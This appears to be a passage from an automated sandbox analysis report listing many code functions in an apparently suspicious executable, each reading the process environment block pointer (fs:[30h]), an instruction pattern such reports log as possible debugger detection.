Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0770 mov eax, dword ptr fs:[00000030h]	4_2_015F0770
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622750 mov eax, dword ptr fs:[00000030h]	4_2_01622750
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622750 mov eax, dword ptr fs:[00000030h]	4_2_01622750
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01664755 mov eax, dword ptr fs:[00000030h]	4_2_01664755
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166E75D mov eax, dword ptr fs:[00000030h]	4_2_0166E75D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C720 mov eax, dword ptr fs:[00000030h]	4_2_0161C720
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C720 mov eax, dword ptr fs:[00000030h]	4_2_0161C720
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0710 mov eax, dword ptr fs:[00000030h]	4_2_015E0710
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165C730 mov eax, dword ptr fs:[00000030h]	4_2_0165C730
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161273C mov eax, dword ptr fs:[00000030h]	4_2_0161273C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161273C mov ecx, dword ptr fs:[00000030h]	4_2_0161273C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161273C mov eax, dword ptr fs:[00000030h]	4_2_0161273C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C700 mov eax, dword ptr fs:[00000030h]	4_2_0161C700
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01610710 mov eax, dword ptr fs:[00000030h]	4_2_01610710
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166E7E1 mov eax, dword ptr fs:[00000030h]	4_2_0166E7E1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016027ED mov eax, dword ptr fs:[00000030h]	4_2_016027ED
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016027ED mov eax, dword ptr fs:[00000030h]	4_2_016027ED
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016027ED mov eax, dword ptr fs:[00000030h]	4_2_016027ED
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EC7C0 mov eax, dword ptr fs:[00000030h]	4_2_015EC7C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E47FB mov eax, dword ptr fs:[00000030h]	4_2_015E47FB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E47FB mov eax, dword ptr fs:[00000030h]	4_2_015E47FB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016607C3 mov eax, dword ptr fs:[00000030h]	4_2_016607C3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016947A0 mov eax, dword ptr fs:[00000030h]	4_2_016947A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168678E mov eax, dword ptr fs:[00000030h]	4_2_0168678E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E07AF mov eax, dword ptr fs:[00000030h]	4_2_015E07AF
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A660 mov eax, dword ptr fs:[00000030h]	4_2_0161A660
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A660 mov eax, dword ptr fs:[00000030h]	4_2_0161A660
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A866E mov eax, dword ptr fs:[00000030h]	4_2_016A866E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A866E mov eax, dword ptr fs:[00000030h]	4_2_016A866E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01612674 mov eax, dword ptr fs:[00000030h]	4_2_01612674
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FC640 mov eax, dword ptr fs:[00000030h]	4_2_015FC640
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01616620 mov eax, dword ptr fs:[00000030h]	4_2_01616620
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01618620 mov eax, dword ptr fs:[00000030h]	4_2_01618620
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F260B mov eax, dword ptr fs:[00000030h]	4_2_015F260B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E609 mov eax, dword ptr fs:[00000030h]	4_2_0165E609
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E262C mov eax, dword ptr fs:[00000030h]	4_2_015E262C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015FE627 mov eax, dword ptr fs:[00000030h]	4_2_015FE627
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01622619 mov eax, dword ptr fs:[00000030h]	4_2_01622619
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0165E6F2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0165E6F2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0165E6F2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E6F2 mov eax, dword ptr fs:[00000030h]	4_2_0165E6F2
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016606F1 mov eax, dword ptr fs:[00000030h]	4_2_016606F1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016606F1 mov eax, dword ptr fs:[00000030h]	4_2_016606F1
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A6C7 mov ebx, dword ptr fs:[00000030h]	4_2_0161A6C7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A6C7 mov eax, dword ptr fs:[00000030h]	4_2_0161A6C7
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C6A6 mov eax, dword ptr fs:[00000030h]	4_2_0161C6A6
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4690 mov eax, dword ptr fs:[00000030h]	4_2_015E4690
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4690 mov eax, dword ptr fs:[00000030h]	4_2_015E4690
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016166B0 mov eax, dword ptr fs:[00000030h]	4_2_016166B0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01606962 mov eax, dword ptr fs:[00000030h]	4_2_01606962
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01606962 mov eax, dword ptr fs:[00000030h]	4_2_01606962
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01606962 mov eax, dword ptr fs:[00000030h]	4_2_01606962
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0162096E mov eax, dword ptr fs:[00000030h]	4_2_0162096E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0162096E mov edx, dword ptr fs:[00000030h]	4_2_0162096E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0162096E mov eax, dword ptr fs:[00000030h]	4_2_0162096E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01684978 mov eax, dword ptr fs:[00000030h]	4_2_01684978
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01684978 mov eax, dword ptr fs:[00000030h]	4_2_01684978
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166C97C mov eax, dword ptr fs:[00000030h]	4_2_0166C97C
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01660946 mov eax, dword ptr fs:[00000030h]	4_2_01660946
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4940 mov eax, dword ptr fs:[00000030h]	4_2_016B4940
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D8918 mov eax, dword ptr fs:[00000030h]	4_2_015D8918
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D8918 mov eax, dword ptr fs:[00000030h]	4_2_015D8918
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166892A mov eax, dword ptr fs:[00000030h]	4_2_0166892A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0167892B mov eax, dword ptr fs:[00000030h]	4_2_0167892B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E908 mov eax, dword ptr fs:[00000030h]	4_2_0165E908
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165E908 mov eax, dword ptr fs:[00000030h]	4_2_0165E908
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166C912 mov eax, dword ptr fs:[00000030h]	4_2_0166C912
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166E9E0 mov eax, dword ptr fs:[00000030h]	4_2_0166E9E0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA9D0 mov eax, dword ptr fs:[00000030h]	4_2_015EA9D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA9D0 mov eax, dword ptr fs:[00000030h]	4_2_015EA9D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA9D0 mov eax, dword ptr fs:[00000030h]	4_2_015EA9D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA9D0 mov eax, dword ptr fs:[00000030h]	4_2_015EA9D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA9D0 mov eax, dword ptr fs:[00000030h]	4_2_015EA9D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015EA9D0 mov eax, dword ptr fs:[00000030h]	4_2_015EA9D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016129F9 mov eax, dword ptr fs:[00000030h]	4_2_016129F9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016129F9 mov eax, dword ptr fs:[00000030h]	4_2_016129F9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016769C0 mov eax, dword ptr fs:[00000030h]	4_2_016769C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016149D0 mov eax, dword ptr fs:[00000030h]	4_2_016149D0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AA9D3 mov eax, dword ptr fs:[00000030h]	4_2_016AA9D3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016689B3 mov esi, dword ptr fs:[00000030h]	4_2_016689B3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016689B3 mov eax, dword ptr fs:[00000030h]	4_2_016689B3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016689B3 mov eax, dword ptr fs:[00000030h]	4_2_016689B3
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E09AD mov eax, dword ptr fs:[00000030h]	4_2_015E09AD
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E09AD mov eax, dword ptr fs:[00000030h]	4_2_015E09AD
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F29A0 mov eax, dword ptr fs:[00000030h]	4_2_015F29A0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4859 mov eax, dword ptr fs:[00000030h]	4_2_015E4859
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E4859 mov eax, dword ptr fs:[00000030h]	4_2_015E4859
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166E872 mov eax, dword ptr fs:[00000030h]	4_2_0166E872
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166E872 mov eax, dword ptr fs:[00000030h]	4_2_0166E872
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01676870 mov eax, dword ptr fs:[00000030h]	4_2_01676870
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01676870 mov eax, dword ptr fs:[00000030h]	4_2_01676870
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F2840 mov ecx, dword ptr fs:[00000030h]	4_2_015F2840
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01610854 mov eax, dword ptr fs:[00000030h]	4_2_01610854
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161A830 mov eax, dword ptr fs:[00000030h]	4_2_0161A830
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168483A mov eax, dword ptr fs:[00000030h]	4_2_0168483A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168483A mov eax, dword ptr fs:[00000030h]	4_2_0168483A
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602835 mov eax, dword ptr fs:[00000030h]	4_2_01602835
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602835 mov eax, dword ptr fs:[00000030h]	4_2_01602835
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602835 mov eax, dword ptr fs:[00000030h]	4_2_01602835
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602835 mov ecx, dword ptr fs:[00000030h]	4_2_01602835
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602835 mov eax, dword ptr fs:[00000030h]	4_2_01602835
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01602835 mov eax, dword ptr fs:[00000030h]	4_2_01602835
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166C810 mov eax, dword ptr fs:[00000030h]	4_2_0166C810
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AA8E4 mov eax, dword ptr fs:[00000030h]	4_2_016AA8E4
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C8F9 mov eax, dword ptr fs:[00000030h]	4_2_0161C8F9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161C8F9 mov eax, dword ptr fs:[00000030h]	4_2_0161C8F9
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160E8C0 mov eax, dword ptr fs:[00000030h]	4_2_0160E8C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B08C0 mov eax, dword ptr fs:[00000030h]	4_2_016B08C0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0887 mov eax, dword ptr fs:[00000030h]	4_2_015E0887
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166C89D mov eax, dword ptr fs:[00000030h]	4_2_0166C89D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015D8B50 mov eax, dword ptr fs:[00000030h]	4_2_015D8B50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01694B4B mov eax, dword ptr fs:[00000030h]	4_2_01694B4B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01694B4B mov eax, dword ptr fs:[00000030h]	4_2_01694B4B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015DCB7E mov eax, dword ptr fs:[00000030h]	4_2_015DCB7E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01676B40 mov eax, dword ptr fs:[00000030h]	4_2_01676B40
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01676B40 mov eax, dword ptr fs:[00000030h]	4_2_01676B40
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016AAB40 mov eax, dword ptr fs:[00000030h]	4_2_016AAB40
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01688B42 mov eax, dword ptr fs:[00000030h]	4_2_01688B42
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168EB50 mov eax, dword ptr fs:[00000030h]	4_2_0168EB50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B2B57 mov eax, dword ptr fs:[00000030h]	4_2_016B2B57
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B2B57 mov eax, dword ptr fs:[00000030h]	4_2_016B2B57
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B2B57 mov eax, dword ptr fs:[00000030h]	4_2_016B2B57
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B2B57 mov eax, dword ptr fs:[00000030h]	4_2_016B2B57
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160EB20 mov eax, dword ptr fs:[00000030h]	4_2_0160EB20
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160EB20 mov eax, dword ptr fs:[00000030h]	4_2_0160EB20
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A8B28 mov eax, dword ptr fs:[00000030h]	4_2_016A8B28
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016A8B28 mov eax, dword ptr fs:[00000030h]	4_2_016A8B28
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_016B4B00 mov eax, dword ptr fs:[00000030h]	4_2_016B4B00
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165EB1D mov eax, dword ptr fs:[00000030h]	4_2_0165EB1D
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0BCD mov eax, dword ptr fs:[00000030h]	4_2_015E0BCD
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0BCD mov eax, dword ptr fs:[00000030h]	4_2_015E0BCD
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0BCD mov eax, dword ptr fs:[00000030h]	4_2_015E0BCD
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166CBF0 mov eax, dword ptr fs:[00000030h]	4_2_0166CBF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160EBFC mov eax, dword ptr fs:[00000030h]	4_2_0160EBFC
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01600BCB mov eax, dword ptr fs:[00000030h]	4_2_01600BCB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01600BCB mov eax, dword ptr fs:[00000030h]	4_2_01600BCB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01600BCB mov eax, dword ptr fs:[00000030h]	4_2_01600BCB
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E8BF0 mov eax, dword ptr fs:[00000030h]	4_2_015E8BF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E8BF0 mov eax, dword ptr fs:[00000030h]	4_2_015E8BF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E8BF0 mov eax, dword ptr fs:[00000030h]	4_2_015E8BF0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168EBD0 mov eax, dword ptr fs:[00000030h]	4_2_0168EBD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01694BB0 mov eax, dword ptr fs:[00000030h]	4_2_01694BB0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01694BB0 mov eax, dword ptr fs:[00000030h]	4_2_01694BB0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0BBE mov eax, dword ptr fs:[00000030h]	4_2_015F0BBE
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0BBE mov eax, dword ptr fs:[00000030h]	4_2_015F0BBE
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0A5B mov eax, dword ptr fs:[00000030h]	4_2_015F0A5B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015F0A5B mov eax, dword ptr fs:[00000030h]	4_2_015F0A5B
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0168EA60 mov eax, dword ptr fs:[00000030h]	4_2_0168EA60
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161CA6F mov eax, dword ptr fs:[00000030h]	4_2_0161CA6F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161CA6F mov eax, dword ptr fs:[00000030h]	4_2_0161CA6F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161CA6F mov eax, dword ptr fs:[00000030h]	4_2_0161CA6F
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E6A50 mov eax, dword ptr fs:[00000030h]	4_2_015E6A50
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165CA72 mov eax, dword ptr fs:[00000030h]	4_2_0165CA72
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0165CA72 mov eax, dword ptr fs:[00000030h]	4_2_0165CA72
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161CA24 mov eax, dword ptr fs:[00000030h]	4_2_0161CA24
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0160EA2E mov eax, dword ptr fs:[00000030h]	4_2_0160EA2E
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01604A35 mov eax, dword ptr fs:[00000030h]	4_2_01604A35
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_01604A35 mov eax, dword ptr fs:[00000030h]	4_2_01604A35
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161CA38 mov eax, dword ptr fs:[00000030h]	4_2_0161CA38
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0166CA11 mov eax, dword ptr fs:[00000030h]	4_2_0166CA11
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_015E0AD0 mov eax, dword ptr fs:[00000030h]	4_2_015E0AD0
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Code function: 4_2_0161AAEE mov eax, dword ptr fs:[00000030h]	4_2_0161AAEE
